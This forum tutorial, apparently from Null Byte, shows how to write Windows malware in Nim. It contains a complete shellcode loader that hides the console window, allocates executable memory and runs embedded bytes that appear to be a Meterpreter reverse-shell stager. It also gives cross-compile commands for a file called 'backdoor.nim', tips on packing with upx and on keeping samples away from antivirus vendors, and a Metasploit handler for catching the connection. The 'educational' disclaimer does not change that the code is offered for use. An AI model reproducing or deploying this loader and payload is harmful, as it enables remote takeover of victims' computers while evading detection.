Forum Thread: How to Run Shellcode in Nim?

I Am Not RESPONSIBLE For How You Use This Knowledge Or Software Pasted , This is For Educational Purposes

Fist I want to say that the lack of information on the internet about this, inspired me to make this.

Image via

What is Nim? Nim is a compiled programming built to be as simple as python(almost), but faster. Nim is easy to learn and easy to compile. Why would you want to use Nim, well one reason is for MALWARE(mwahahahaha).

Python can be used to develop some great and sophisticated malware , but the memory footprint and the filesize is just devastating. Also not to mention if a malware analysis was to get their hands on your malware , one command on the keyboard can and will decompile your malware and make it readable. Pretty sure we don't want that ;3 .

Now with Nim you can make sophisticated malware, with small size , speed (performance and development), and simplicity.

One way to do this is to run shellcode. Shellcode is a bunch of instructions that if run right will execute a payload. One of the most famous is the Meterpreter, which we will be using. Thx Rapid7.

Another advantage to using Nim is that it is not used often in malware so companies and antivirus will have a hard time detecting. If you want to test that just never test on VirusTotal, as they upload your files to antivirus companies .

Before we start please make sure you have nim installed , on linux run the command

sudo apt-get install nim

If you are planning on cross compiling from linux to windows you'll also need to install mingw-w64

sudo apt-get install mingw-w64


The Target : windows

You can run this in a Virtual Machine(VM) or in Wine(which i will be doing)

we will use a nim package called winim which will give use the ability to access the windows functions , you'll need to run the command

sudo nimble install winim

NOW I MUST note that compiling with this package gives an error on linux saying that /home/<yourusername>/.nimble/pkgs/winim-2.5.2/winim/inc\..\lib\winim32.res: No such file or directory but that can be fixed by instead putting /home/<yourusername>/.nimble/pkgs/winim-2.5.2/winim/lib/winim32.res" on linux.

import winim/lean

# make a process to hide the console
proc stealth() : void =

var stealth = FindWindowA("ConsoleWindowClass" , NULL)
ShowWindow(stealth , 0)

proc main() =


#change the shellcode to your


var buf = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x00\x79\x68\x02\x00\x1b\x39\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3"

var lpBufSize : int32 = (int32)len(buf)

var lpBuf = VirtualAlloc(NULL , lpBufSize , 0x3000 , 0x00000040)

RtlMoveMemory(lpBuf , &buf , len(buf))

var lpStart : LPTHREADSTARTROUTINE = castproc (lpThreadParameter: LPVOID): DWORD{.stdcall.}(lpBuf)

var ht = CreateThread(NULL , 0 , lpStart , lpBuf , 0 , NULL)

WaitForSingleObject(ht , -1)

when isMainModule :


Now if you don't know what is happening then first understand that
VirtualAlloc : is allocating memory for execution

RtlMoveMemory : is moving the shellcode into the allocated memory

CreateThread : Is Creating The Thread For The Shellcode

WaitForSingleObject : Is setting the Main to thread until the shellcode is done.

In order to compile this on linux to run on windows this command (assuming you have the file saved as backdoor.nim if not change the file name)

nim compile --opt:size --gcc.exe:/usr/bin/i686-w64-mingw32-gcc --gcc.linkerexe:/usr/bin/i686-w64-mingw32-gcc -d:release --os:windows --passL:-static backdoor.nim

compile : will compile your code

--opt:size : the optimizations will be best suit for size

--gcc.exe : set the compiler to

--gcc.linkerexe : set the linker to

-d:release : leave out debugging information

--os:windows : set the OS to windows (nim supports a freakton of OS even the Nintendo Switch!)

--passL:-static : makes the code static so it should run on windows without dependencies

If You Run this command and you have an error saying /home/<yoursusername>/.nimble/pkgs/winim-2.5.2/winim/inc\..\lib\winim32.res: No such file or directory just replace that line with home/<yourusername>/.nimble/pkgs/winim/lib/winim32.res

After compiling I Recomend running strip, and upx on the compiled file.

For Proof We will start Metasploit and Start exploit/mutli/handler for windows

Start It Up With Wine OR Windows

And We Have Connection

The Next Best Thing About Nim is that you can compile your code to C , javascript for browser attacks , and etc...

So You can program sophisticated malware with ease in Nim and still have the advantages.

I will post more about this , have A Nice Day. : 3

Never Miss a Hacking or Security Guide

Get new Null Byte guides every week.

Be the First to Respond

Share Your Thoughts

  • Hot
  • Active